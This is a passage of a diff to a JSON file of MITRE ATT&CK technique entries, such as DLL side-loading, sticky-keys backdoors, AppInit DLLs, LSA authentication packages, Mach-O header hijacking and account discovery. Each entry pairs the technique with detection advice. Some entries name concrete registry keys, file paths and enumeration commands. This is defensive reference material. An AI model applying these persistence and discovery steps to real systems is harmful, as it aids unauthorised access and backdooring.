user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1166" + ], + "uuid": "8bf7a62e-e2a2-4f7b-94fb-eadcff06194f" + }, + "value": "Setuid and Setgid" + }, + { + "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: MacOS, OS X", + "meta": { + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1164", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ], - "uuid": "c3dc8707-c1cd-4ce0-add5-5302670770b3" + "uuid": "0ed9e79b-293a-41aa-ae4c-10d74fd95ba6" }, - "value": "Startup Items" + "value": "Re-opened Applications" }, { "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms.cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", @@ -464,38 +2462,6 @@ }, "value": "Command-Line Interface" }, - { - "description": "Data exfiltration is performed over the [[Command and Control]] channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring", - "meta": { - "mitre_data_sources": [ - "User interface", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1041", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "92d7da27-2d91-488e-a00c-059dc162766d" - }, - "value": "Exfiltration Over Command and Control Channel" - }, { "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from [[Discovery]] of the system and network information or [[Lateral Movement]] to the originating process may also yield useful data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network", "meta": { @@ -531,10 +2497,99 @@ "value": "Multi-Stage Channels" }, { - "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/.[[Citation: Wikipedia keychain]] The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.[[Citation: External to DA, the OS X Way]] By default, the passphrase for the keychain is the user’s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: MacOS, OS X\n\nData Sources: System calls, Process Monitoring", + "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests[[Citation: MSDN Manifests]] are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.[[Citation: Stewart 2014]]\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs", "meta": { "mitre_data_sources": [ - "System calls", + "Process use of network", + "Process monitoring", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1073", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", + "https://msdn.microsoft.com/en-us/library/aa375365" + ], + "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09" + }, + "value": "DLL Side-Loading" + }, + { + "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Third-party application logs, Windows Registry, Process monitoring, Process use of network, Binary file metadata", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Third-party application logs", + "Windows Registry", + "Process monitoring", + "Process use of network", + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1072" + ], + "uuid": "92a78814-b191-47ca-909c-1ccfe3777414" + }, + "value": "Third-party Software" + }, + { + "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies[[Citation: Writing Bad Malware for OSX]]. There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time[[Citation: Malware Persistence on OS X]].\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring", + "meta": { + "mitre_data_sources": [ + "Binary file metadata", + "Process Monitoring", + "Process command-line parameters", + "File monitoring" + ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1161", + "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" + ], + "uuid": "b75b398b-65fb-4578-a9b6-847dd9d0cf52" + }, + "value": "LC_LOAD_DYLIB Addition" + }, + { + "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD [[Citation: Prolific OSX Malware History]]. The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different [[Citation: Methods of Mac Malware Persistence]]. By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring", + "meta": { + "mitre_data_sources": [ + "Binary file metadata", + "Malware reverse engineering", "Process Monitoring" ], "mitre_platforms": [ @@ -542,13 +2597,742 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1142", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", - "https://en.wikipedia.org/wiki/Keychain%20(software)" + "https://attack.mitre.org/wiki/Technique/T1149", + "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ], - "uuid": "38cfae40-42c8-431e-8cb7-0f14b2ce0e86" + "uuid": "f52bb8c4-8e68-4834-939f-d193f9cfce61" }, - "value": "Keychain" + "value": "LC_MAIN Hijacking" + }, + { + "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller.[[Citation: Microsoft User Creation Event]] Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs", + "meta": { + "mitre_data_sources": [ + "Process Monitoring", + "Process command-line parameters", + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows 10", + "Windows Server 2012", + "Windows 7", + "Windows 8", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows 8.1", + "Windows Server 2003", + "Windows Server 2008", + "Windows XP", + "Windows Server 2003 R2", + "Windows Vista", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1136", + "https://docs.microsoft.com/windows/device-security/auditing/event-4720" + ], + "uuid": "f2d47680-b65a-4354-8a69-79c150fd2bd5" + }, + "value": "Create Account" + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Data loss prevention", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1119" + ], + "uuid": "30208d3e-0d6b-43c8-883e-44462a514619" + }, + "value": "Automated Collection" + }, + { + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, Process monitoring, File monitoring", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1123" + ], + "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + "value": "Audio Capture" + }, + { + "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer.[[Citation: AppInit Registry]]\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.[[Citation: AppInit Secure Boot]]\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs.[[Citation: TechNet Autoruns]] \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for [[Command and Control]], learning details about the environment through [[Discovery]], and conducting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM", + "meta": { + "mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1103", + "https://support.microsoft.com/en-us/kb/197571", + "https://msdn.microsoft.com/en-us/library/dn280412", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41" + }, + "value": "AppInit DLLs" + }, + { + "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1087" + ], + "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + "value": "Account Discovery" + }, + { + "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process use of network", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1020" + ], + "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + "value": "Automated Exfiltration" + }, + { + "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nOther accessibility features exist that may also be leveraged in a similar fashion:[[Citation: DEFCON2016 Sticky Keys]]\n\n*On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n*Magnifier: C:\\Windows\\System32\\Magnify.exe\n*Narrator: C:\\Windows\\System32\\Narrator.exe\n*Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n*App Switcher: C:\\Windows\\System32\\AtBroker.exe\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1015", + "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", + "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", + "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" + ], + "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3" + }, + "value": "Accessibility Features" + }, + { + "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents[[Citation: AppleDocs Launch Agent Daemons]][[Citation: OSX Keydnap malware]][[Citation: Antiquated Mac Malware]]. These launch agents have property list files which point to the executables that will be launched[[Citation: OSX.Dok Malware]].\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories [[Citation: Sofacy Komplex Trojan]] [[Citation: Methods of Mac Malware Persistence]]. The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in[[Citation: OSX Malware Detection]][[Citation: OceanLotus for OS X]]. They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1159", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", + "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf" + ], + "uuid": "12f399b0-d9de-4f60-a262-22c21baae140" + }, + "value": "Launch Agent" + }, + { + "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.[[Citation: Microsoft User Modified Event]] Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, API monitoring, Windows event logs", + "meta": { + "mitre_data_sources": [ + "Authentication logs", + "API monitoring", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1098", + "https://docs.microsoft.com/windows/device-security/auditing/event-4738" + ], + "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + "value": "Account Manipulation" + }, + { + "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.[[Citation: MSDN Authentication Packages]]\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs", + "meta": { + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + 